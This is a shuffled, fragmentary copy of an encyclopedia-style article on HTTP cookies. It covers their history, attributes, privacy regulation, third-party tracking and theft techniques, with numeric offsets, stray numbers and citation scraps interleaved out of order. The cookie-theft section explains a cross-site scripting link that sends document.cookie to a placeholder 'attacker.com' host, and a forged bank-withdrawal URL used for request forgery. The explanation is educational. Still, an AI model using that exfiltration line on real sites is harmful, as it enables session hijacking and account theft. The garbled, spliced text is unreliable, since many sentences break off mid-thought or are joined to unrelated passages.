2039:(e-Privacy Directive), a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment. In particular, Article 5 Paragraph 3 mandates that storing technically unnecessary data on a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storage operation. The Directive does not require users to authorise or be provided notice of cookie usage that are functionally required for delivering a service they have requested, for example to retain settings, store log-in sessions, or remember what is in a user's shopping basket.
3013:
2052:
under the GDPR alone, and will require a legal basis to process. This has been the case since the 1995 Data
Protection Directive, which used an identical definition of personal data, although the GDPR in interpretative Recital 30 clarifies that cookie identifiers are included. While not all data processing under the GDPR requires consent, the characteristics of behavioural advertising mean that it is difficult or impossible to justify under any other ground.
1105:
3027:
1814:
568:
was eventually published as RFC 2109 in
February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default. At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.
2319:
2228:
608:
6255:
1939:
2166:
2125:
2490:
455:
44:
2056:
must be as 'easy to withdraw as to give', meaning that a reject-all button must be as easy to access in terms of clicks and visibility as an 'accept all' button. It must be specific and informed, meaning that consent relates to particular purposes for the use of this data, and all organisations seeking to use this consent must be specifically named. The
3448:
2680:(JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application.
2416:, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies.
1018:(typically, a long string of random letters and numbers). Because cookies are sent to the server with every request the client makes, that session identifier will be sent back to the server every time the user visits a new page on the website, which lets the server know which shopping cart to display to the user.
533:, released on October 13, 1994, supported cookies. The first use of cookies (out of the labs) was checking whether visitors to the Netscape website had already visited the site. Montulli applied for a patent for the cookie technology in 1995, which was granted in 1998. Support for cookies was integrated with
2888:
The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the
2621:
of a user by tricking a user into dragging an object across the screen. Microsoft deemed the flaw low-risk because of "the level of required user interaction", and the necessity of having a user already logged into the website whose cookie is stolen. Despite this, a researcher tried the attack on 150
2051:
later confirmed however that the previous law implied the same strong quality of consent as the current instrument. In addition to the requirement of consent which stems from storing or accessing information on a user's terminal device, the information in many cookies will be considered personal data
1438:
In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send
1077:
If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user. So the server creates a unique identifier (typically a string of random letters and numbers) and sends it as a cookie back to the browser together with the
2866:
Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching header fields can
2096:
Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either
2055:
Consent under the combination of the GDPR and e-Privacy
Directive has to meet a number of conditions in relation to cookies. It must be freely given and unambiguous: preticked boxes were banned under both the Data Protection Directive 1995 and the GDPR (Recital 32). The GDPR is specific that consent
2042:
In 2009, the law was amended by
Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage. The definition of consent is cross-referenced to the
1882:
83 introduced new features to block third-party cookies by default in its
Incognito mode for private browsing, making blocking optional during normal browsing. The same update also added an option to block first-party cookies. In April 2024, Chrome postponed third-party cookie blocking by default to
867:
Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same
2783:
This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to
2728:
These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same
2696:
protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent
1025:
Because session cookies only contain a unique session identifier, this makes the amount of personal information that a website can save about each user virtually limitless—the website is not limited to restrictions concerning how large a cookie can be. Session cookies also help to improve page load
827:
Chrome, Firefox, and Edge started to support Same-site cookies. The key of rollout is the treatment of existing cookies without the SameSite attribute defined, Chrome has been treating those existing cookies as if SameSite=None, this would let all website/applications run as before. Google intended
693:
expires at a specific date or after a specific length of time. For the persistent cookie's lifespan set by its creator, its information will be transmitted to the server every time the user visits the website that it belongs to, or every time the user views a resource belonging to that website from
567:
and David
Kristol respectively. But the group, headed by Kristol himself and Lou Montulli, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group
395:
they are logged in. Without the cookie, users would need to authenticate themselves by logging in on each page containing sensitive information that they wish to access. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and
2843:
However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore,
2306:
Most websites use cookies as the only identifiers for user sessions, because other methods of identifying web users have limitations and vulnerabilities. If a website uses cookies as session identifiers, attackers can impersonate users' requests by stealing a full set of victims' cookies. From the
1038:
Many websites use cookies for personalization based on the user's preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user
1034:
Cookies can be used to remember information about the user in order to show relevant content to that user over time. For example, a web server might send a cookie containing the username that was last used to log into a website, so that it may be filled in automatically the next time the user logs
521:
represented MCI in technical discussions with
Netscape Communications. MCI did not want its servers to have to retain partial transaction states, which led them to ask Netscape to find a way to store that state in each user's computer instead. Cookies provided a solution to the problem of reliably
2110:
Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising. However, this is often ineffective against many forms of tracking, such as first-party tracking that is growing in popularity to avoid the impact of
1857:
The older standards for cookies, RFC 2109 and RFC 2965, recommend that browsers should protect user privacy and not allow sharing of cookies between servers by default. However, the newer standard, RFC 6265, explicitly allows user agents to implement whichever third-party cookie policy they wish.
1021:
Another popular use of cookies is for logging into websites. When the user visits a website's login page, the web server typically sends the client a cookie containing a unique session identifier. When the user successfully logs in, the server remembers that that particular session identifier has
1846:). Eventually, both of these cookies will be sent to the advertiser when loading their advertisements or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser, through the use of the
2779:
GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is
2647:
If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of
2080:
was 'insufficient to ensure transparency and fair processing of the personal data in question and therefore also insufficient to provide for free and informed consent, with attendant implications for PECR compliance.' Many companies that sell compliance solutions (Consent
Management Platforms)
2071:
Academic studies and regulators both describe widespread non-compliance with the law. A study scraping 10,000 UK websites found that only 11.8% of sites adhered to minimal legal requirements, with only 33.4% of websites studied providing a mechanism to reject cookies that was as easy to use as
1793:
Cookies have some important implications for the privacy and anonymity of web users. While cookies are sent only to the server setting them or a server in the same
Internet domain, a web page may contain images or other components stored on servers in other domains. Cookies that are set during
887:
helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date list of domain name suffixes. Older versions of browsers may not have an up-to-date list, and will therefore be vulnerable to supercookies from
5453:"Délibération n° 2019-093 du 4 juillet 2019 portant adoption de lignes directrices relatives à l'application de l'article 82 de la loi du 6 janvier 1978 modifiée aux opérations de lecture ou écriture dans le terminal d'un utilisateur (notamment aux cookies et autres traceurs) (rectificatif)"
701:
because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time. Persistent cookies are also used for reasons such as keeping users logged into their accounts on websites, to avoid re-entering login credentials at every visit.
2047:(GDPR). As the definition of consent was strengthened in the text of the GDPR, this had the effect of increasing the quality of consent required by those storing and accessing information such as cookies on users devices. In a case decided under the Data Protection Directive however, the
1455:
attributes define the scope of the cookie. They essentially tell the browser what website the cookie belongs to. For security reasons, cookies can only be set on the current resource's top domain and its subdomains, and not for another domain and its subdomains. For example, the website
2724:
This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state.
1081:
From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested. The server not only sends the page as usual but also stores the URL of the requested page, the date/time of the request, and the cookie in a log
2914:
is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
2105:
In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie
1014:). Today, however, the contents of a user's shopping cart are usually stored in a database on the server, rather than in a cookie on the client. To keep track of which user is assigned to which shopping cart, the server sends a cookie to the client that contains a
2067:
argues that proper enforcement would "destroy the entire industry". However, scholars note that the onerous nature of cookie pop-ups stems from an attempt to continue to operate a business model through convoluted requests that may be incompatible with the GDPR.
1171:, sent in an HTTP response from the web server. This header field instructs the web browser to store the cookie and send it back in future requests to the server (the browser will ignore this header field if it does not support cookies or has disabled cookies).
5152:
2411:
for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge of obtaining the target website's TLS certificate from a
2601:
If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
1499:). A notable exception to this general rule is Edge prior to Windows 10 RS3 and Internet Explorer prior to IE 11 and Windows 10 RS4 (April 2018), which always sends cookies to subdomains regardless of whether the cookie was set with or without a domain.
1125:
or component of a web page would be an isolated event, largely unrelated to all other page views made by the user on the website. Although cookies are usually set by the web server, they can also be set by the client using a scripting language such as
1920:
had been leaving persistent cookies on computers that had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them. On
December 25, 2005, Brandt discovered that the
681:) exists only in temporary memory while the user navigates a website. Session cookies expire or are deleted when the user closes the web browser. Session cookies are identified by the browser by the absence of an expiration date assigned to them.
1817:
In this fictional example, an advertising company has placed banners in two websites. By hosting the banner images on its servers and using third-party cookies, the advertising company is able to track the browsing of users across these two
2581:
For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,
2634:
Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer
1095:
found that America's top fifty websites installed an average of sixty-four pieces of tracking technology onto computers, resulting in a total of 3,180 tracking files. The data can then be collected and sold to bidding corporations.
2092:
was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user-configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification.
2818:
In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks.
2736:
Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page
1853:
As of 2014, some websites were setting cookies readable for over 100 third-party domains. On average, a single website was setting 10 cookies, with a maximum number of cookies (first- and third-party) reaching over 800.
1112:
Cookies are arbitrary pieces of data, usually chosen and first sent by the web server, and stored on the client computer by the web browser. The browser then sends them back to the server with every request, introducing
2729:
attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by
5158:
2338:. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a
4701:
2519:
Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.
1897:
The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.
540:
The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence. The public learned about cookies after the
3601:
The edbrowse documentation version 3.5 said "Note that only Netscape-style cookies are supported. However, this is the most common flavor of cookie. It will probably meet your needs." This paragraph was removed in
946:'s dedicated cookie storage location, and that automatically recreates a HTTP cookie as a regular cookie after the original cookie had been deleted. The zombie cookie may be stored in multiple locations, such as
1694:, with an expiration time in the past. The browser will delete this cookie right away because its expiration time is in the past. Note that cookie will only be deleted if the domain and path attributes in the
954:, and other client-side and even server-side locations, and when absence is detected in one of the locations, the missing instance is recreated by the JavaScript code using the data stored in other locations.
547:
published an article about them on February 12, 1996. In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S.
3632:
4139:
2063:
The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of
2111:
browsers blocking third party cookies. Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e-Privacy Directive.
1743:
attribute directs browsers not to expose cookies through channels other than HTTP (and HTTPS) requests. This means that the cookie cannot be accessed via client-side scripting languages (notably
2775:
with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the
2310:
Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) that work with websites relying solely on HTTP cookies for user identification.
1798:. A third-party cookie, belongs to a domain different from the one shown in the address bar. This sort of cookie typically appears when web pages feature content from external websites, such as
5083:
Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33
2072:
accepting them. A study of 17,000 websites found that 84% of sites breached this criterion, finding additionally that many laid third party cookies with no notice at all. The UK regulator, the
2567:(i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request.
2896:). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change.
1483:
attributes are not specified by the server, they default to the domain and path of the resource that was requested. However, in most browsers there is a difference between a cookie set from
5435:
1108:
A possible interaction between a web browser and a web server holding a web page in which the server sends a cookie to the browser and the browser sends it back when requesting another page
1354:
header fields in the HTTP response in order to instruct the browser to add new cookies, modify existing cookies, or remove existing cookies. To remove a cookie, the server must include a
5127:
5591:
Santos, Cristiana; Nouwens, Midas; Toth, Michael; Bielova, Nataliia; Roca, Vincent (2021), Gruschka, Nils; Antunes, LuĂs Filipe Coelho; Rannenberg, Kai; Drogkaris, Prokopios (eds.),
2986:
Internet Explorer supports persistent information in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.
1901:
Website operators who do not disclose third-party cookie use to consumers run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a
2307:
web server's point of view, a request from an attacker then has the same authentication as the victim's requests; thus the request is performed on behalf of the victim's session.
1625:
attribute can be used to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. Below is an example of three
555:
The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk
4708:
2430:
Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered
1732:
connections. However, if a web server sets a cookie with a secure attribute from a non-secure connection, the cookie can still be intercepted when it is sent to the user by
962:
A cookie wall pops up on a website and informs the user of the website's cookie usage. It has no reject option, and the website is not accessible without tracking cookies.
2036:
5831:
Dimova, Yana; Acar, Gunes; Olejnik, Lukasz; Joosen, Wouter; Van Goethem, Tom (5 March 2021). "The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion".
5751:
2438:
content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls.
832:
in Chrome 80 planned to be released in February 2020, but due to potential for breakage of those applications/websites that rely on third-party/cross-site cookies and
2938:
languages, collection of much more esoteric parameters is possible. Assimilation of such information into a single string constitutes a device fingerprint. In 2010,
2376:), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of
2060:
has also ruled that consent must be 'efficient and timely', meaning that it must be gained before cookies are laid and data processing begins instead of afterwards.
5782:
1350:
This way, the server knows that this HTTP request is related to the previous one. The server would answer by sending the requested page, possibly including more
5899:
2556:
cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies.
1925:(NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies.
1878:
block all third-party cookies by default. Safari allows embedded sites to use Storage Access API to request permission to set first-party cookies. In May 2020,
3186:
7533:
3624:
4147:
3418:
3443:, Montulli, Lou, "Persistent client state in a hypertext transfer protocol based client-server system", published 1998-06-30, assigned to
2345:
An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.
4929:
2983:, except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies.
5718:
4273:
6062:
2081:
permit them to be configured in manifestly illegal ways, which scholars have noted creates questions around the appropriate allocation of liability.
1006:
Cookies were originally introduced to provide a way for users to record items they want to purchase as they navigate throughout a website (a virtual
6129:
3467:
6214:
Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp. Informationweek - Online, May 26, 2011.
4178:
5510:
5426:
1883:
2025. In July 2024, Google announced plan to avoid blocking third-party cookies by default and instead prompt users to allow third-party cookies.
590:
in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world. No modern browser recognizes the
4954:
3903:
6367:
5033:
2057:
2048:
1913:
1721:
attributes do not have associated values. Rather, the presence of just their attribute names indicates that their behaviors should be enabled.
1043:
search engine once used cookies to allow users (even non-registered ones) to decide how many search results per page they wanted to see. Also,
3925:
5622:
5559:
5370:
4854:
4824:
3801:
1268:
The server's HTTP response contains the contents of the website's homepage. But it also instructs the browser to set two cookies. The first,
6189:
6159:
5123:
3709:
1400:, since that is the delimiter between the name and value. The cookie standard RFC 2965 is more restrictive but not implemented by browsers.
7543:
4794:
824:
The Same-site cookie is incorporated into a new RFC draft for "Cookies: HTTP State Management Mechanism" to update RFC 6265 (if approved).
3580:
2073:
1686:, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie,
5853:
5059:
4550:
3070:
346:. Cookies are placed on the device used to access a website, and more than one cookie may be placed on a user's device during a session.
6245:
904:
mechanisms were found on Microsoft websites in August 2011: cookie syncing that respawned MUID (machine unique identifier) cookies, and
5536:. IFIP Advances in Information and Communication Technology. Vol. 625. Cham: Springer International Publishing. pp. 213–227.
5101:
2360:
flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as a TLS connection.
6532:
3278:
2044:
1916:
used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the
1610:
attribute defines a specific date and time for when the browser should delete the cookie. The date and time are specified in the form
3216:
2748:
the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same.
4399:
2293:
2275:
2209:
2152:
2022:
647:
6244:
4426:
3872:
2326:
Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over
5957:
4648:
1086:
By analyzing this log file, it is then possible to find out which pages the user has visited, in what sequence, and for how long.
7528:
6085:
4679:
4373:
3388:
3247:
801:, the browsers would only send cookies to a target domain that is the same as the origin domain. This would effectively mitigate
5922:
3100:
2636:
1598:). The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations.
560:
5984:
5743:
1728:
attribute is meant to keep cookie communication limited to encrypted transmission, directing browsers to use cookies only via
3780:
Rasaii, Ali; Singh, Shivani; Gosain, Devashish; Gasser, Oliver (2023), Brunstrom, Anna; Flores, Marcel; Fiore, Marco (eds.),
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2939:
2253:
2176:
2098:
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1960:
1953:
629:
290:
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2751:
Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables
2532:
API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the
529:
Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of
7250:
5871:
4196:
3679:
3444:
2623:
1682:, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie,
1506:
header fields in the HTTP response of a website after a user logged in. The HTTP request was sent to a webpage within the
1039:
accesses a page on the website, the server can personalize the page according to the user's preferences. For example, the
809:, browsers would send cookies with requests to a target domain even it is different from the origin domain, but only for
7371:
5774:
5532:
Kampanos, Georgios; Shahandashti, Siamak F. (2021). "Accept All: The Landscape of Cookie Banners in Greece and the UK".
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2892:
For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example,
2693:
2249:
2138:
625:
233:
5180:
6795:
4906:
3606:
3032:
2964:
Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.
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2689:
1917:
228:
2505:
with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the
4764:
4116:
2493:
Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.
2471:"window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;"
2076:, stated in 2019 that the industry's 'Transparency and Consent Framework' from the advertising technology group the
438:
that prompted European and U.S. lawmakers to take action in 2011. European law requires that all websites targeting
7502:
6880:
6360:
3178:
3126:
3040:
2576:
2003:
802:
762:
417:
135:
53:
4056:
3414:
1736:. Therefore, for maximum security, cookies with the Secure attribute should only be set over a secure connection.
7538:
7416:
7265:
7112:
6279:
2836:
of the computer requesting the page. The server knows the IP address of the computer running the browser (or the
2808:
2408:
2348:
This issue can be resolved by securing the communication between the user's computer and the server by employing
1975:
1061:
Tracking cookies are used to track users' web browsing habits. This can also be done to some extent by using the
401:
178:
981:
908:
cookies. Due to media attention, Microsoft later disabled this code. In a 2021 blog post, Mozilla used the term
7147:
5599:, Lecture Notes in Computer Science, vol. 12703, Cham: Springer International Publishing, pp. 47–69,
4738:
2710:
2349:
2339:
2238:
2191:
1922:
1733:
1114:
549:
264:
4089:
4005:
1137:
The cookie specifications require that browsers meet the following requirements in order to support cookies:
563:(IETF) was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by
7023:
2845:
2257:
2242:
2187:
2043:
definition in European data protection law, firstly the Data Protection Directive 1995 and subsequently the
1982:
1949:
618:
556:
502:
259:
5891:
4270:
4030:
1759:
Most modern browsers support cookies and allow the user to disable them. The following are common options:
1089:
Corporations exploit users' web habits by tracking cookies to collect information about buying habits. The
7446:
6984:
6926:
6800:
6706:
6663:
6575:
6058:
3463:
1284:
attribute. Session cookies are intended to be deleted by the browser when the browser closes. The second,
523:
254:
6121:
6036:
2792:
All current web browsers can store a fairly large amount of data (2–32 MB) via JavaScript using the
1655:
lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
868:
top-level domain or public suffix as the malicious website. For example, a supercookie with an origin of
7497:
7466:
7391:
7381:
7341:
6678:
6460:
6353:
6294:
6007:
5703:
5502:
5477:
5209:
4252:
4170:
3654:
2998:
2975:
that allows two types of storage: local storage and session storage. Local storage behaves similarly to
2947:
2935:
2793:
2564:
2413:
2064:
730:
361:) on the user's device or to track the user's browsing activity (including clicking particular buttons,
249:
1912:
government has set strict rules on setting cookies in 2000 after it was disclosed that the White House
1495:, also known as a host-only cookie. In the latter case, all subdomains are also included (for example,
412:, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see
3491:"Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage"
3440:
3012:
1989:
7507:
7431:
7401:
7361:
7351:
7206:
7052:
6993:
6856:
6841:
6779:
6698:
6603:
6585:
6480:
6275:
6260:
6181:
6151:
5854:"Hack Obtains 9 Bogus Certificates for Prominent Websites; Traced to Iran - Threat Level - Wired.com"
4623:
4589:
4533:
4499:
4465:
4356:
3977:
3895:
2425:
1799:
1748:
1393:
754:
431:
413:
392:
366:
2384:
of the attacker's server. The attacker can then post an image URL from his own server (for example,
7346:
7331:
7295:
7245:
7230:
7047:
7028:
7003:
6931:
6711:
6633:
6523:
4846:
4816:
2994:
2911:
2540:, and the attacker's script is executed in the victim's browser. The script generates a request to
2373:
1875:
1782:
1091:
1026:
times, since the amount of information in a session cookie is small and requires little bandwidth.
947:
378:
3952:"Require "Secure" for "SameSite=None". by miketaylr · Pull Request #1323 · httpwg/http-extensions"
2971:
standard (which most modern web browsers support to some extent) includes a JavaScript API called
501:
had the idea of using them in web communications in June 1994. At the time, he was an employee of
7336:
7300:
7280:
7235:
7162:
7097:
7092:
6936:
6921:
6875:
6736:
6618:
6415:
5832:
5628:
5600:
5573:
5537:
5376:
5338:
5264:
4581:
4310:
3701:
3370:
3344:
2905:
2849:
2533:
1971:
1673:
reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly
884:
758:
530:
283:
5329:
Nouwens, Midas; Liccardi, Ilaria; Veale, Michael; Karger, David; Kagal, Lalana (21 April 2020).
4786:
4517:
4449:
6300:
5008:"Chrome 83 arrives with redesigned security settings, third-party cookies blocked in Incognito"
3572:
2663:
Some of the operations that can be done using cookies can also be done using other mechanisms.
1554:
SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
7548:
7456:
7426:
7171:
6916:
6598:
6420:
5865:
5618:
5565:
5555:
5452:
5366:
5304:
4607:
4565:
4483:
3797:
3762:
3510:
3362:
3312:
2713:
is the part that is typically used for this purpose, but other parts can be used as well. The
2614:
1073:
request header, but cookies allow for greater precision. This can be demonstrated as follows:
1015:
534:
5805:
5093:
3823:
Bugliesi, Michele; Calzavara, Stefano; Focardi, Riccardo; Khan, Wilayat (16 September 2015).
3316:
1536:
LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
813:
requests such as GET (POST is unsafe) and not third-party cookies (inside iframe). Attribute
7181:
7082:
7038:
6750:
6653:
6608:
6425:
5698:
5690:
5610:
5547:
5356:
5348:
5294:
5254:
5244:
4613:
4571:
4523:
4489:
4455:
4346:
4302:
3844:
3836:
3789:
3752:
3744:
3552:
3546:
3502:
3354:
3270:
2752:
2144:
1859:
1763:
To enable or disable cookies completely, so that they are always accepted or always blocked.
1545:
HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
1307:
header field, which contains the two cookies that the server instructed the browser to set:
984:). Attributes store information such as the cookie's expiration, domain, and flags (such as
849:
564:
443:
435:
331:
323:
58:
4702:
Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)
2593:"http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"
2528:
In older versions of many browsers, there were security holes in the implementation of the
7406:
7260:
7240:
5719:"Guidelines 05/2020 on consent under Regulation 2016/679 | European Data Protection Board"
5331:"Dark Patterns after the GDPR: Scraping Consent Pop-ups and Demonstrating their Influence"
4277:
3610:
3389:"Press Release: Netscape Communications Offers New Network Navigator Free On The Internet"
3208:
3018:
1149:
543:
405:
358:
169:
6327:
Cookie Domain, explain in detail how cookie domains are handled in current major browsers
5806:"What's CNAME of your game? This DNS-based tracking defies your browser privacy defenses"
4391:
3781:
2497:
When another user clicks on this link, the browser executes the piece of code within the
1296:
attribute, which instructs the browser to delete the cookie at a specific date and time.
578:, which informally came to be called "RFC 2965-style cookies" as opposed to the original
5592:
4640:
4422:
3864:
2559:
This attack would not work with secure cookies, since they can only be transmitted over
1047:
uses cookies to allow users to set the viewing preferences like colors of the web page.
6867:
6688:
6643:
6628:
6059:"IE "default behaviors [sic]" browser information disclosure tests: clientCaps"
5953:
5007:
4290:
3991:
3490:
2677:
2618:
2529:
2101:, composed of all EU data protection regulators, stated that cookie walls were illegal.
1902:
900:
is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such
439:
388:
362:
350:
6096:
4671:
4377:
3951:
3392:
2800:. This data can be used instead of session cookies. The technique can be coupled with
2516:
It is the responsibility of the website developers to filter out such malicious code.
1618:
for values of YY where YY is greater than or equal to 0 and less than or equal to 69.
7522:
7117:
6726:
6613:
6593:
6435:
6335:
6310:
5632:
5577:
5380:
5268:
4289:
Lee, Wei-Bin; Chen, Hsing-Bai; Chang, Shun-Shyan; Chen, Tzung-Her (25 January 2019).
3045:
2923:
2871:
2744:
2335:
1909:
1879:
1788:
925:
778:
409:
354:
276:
154:
5930:
5679:"Tracking Walls, Take-It-Or-Leave-It Choices, the GDPR, and the ePrivacy Regulation"
4314:
3731:
Bujlow, Tomasz; Carela-Espanol, Valentin; Lee, Beom-Ryeol; Barlet-Ros, Pere (2017).
3092:
2840:, if any is used) and could theoretically link a user's session to this IP address.
2322:
A cookie can be stolen by another computer that is allowed reading from the network.
1104:
860:). Ordinary cookies, by contrast, have an origin of a specific domain name, such as
7476:
7356:
7255:
7191:
7186:
7176:
7127:
7067:
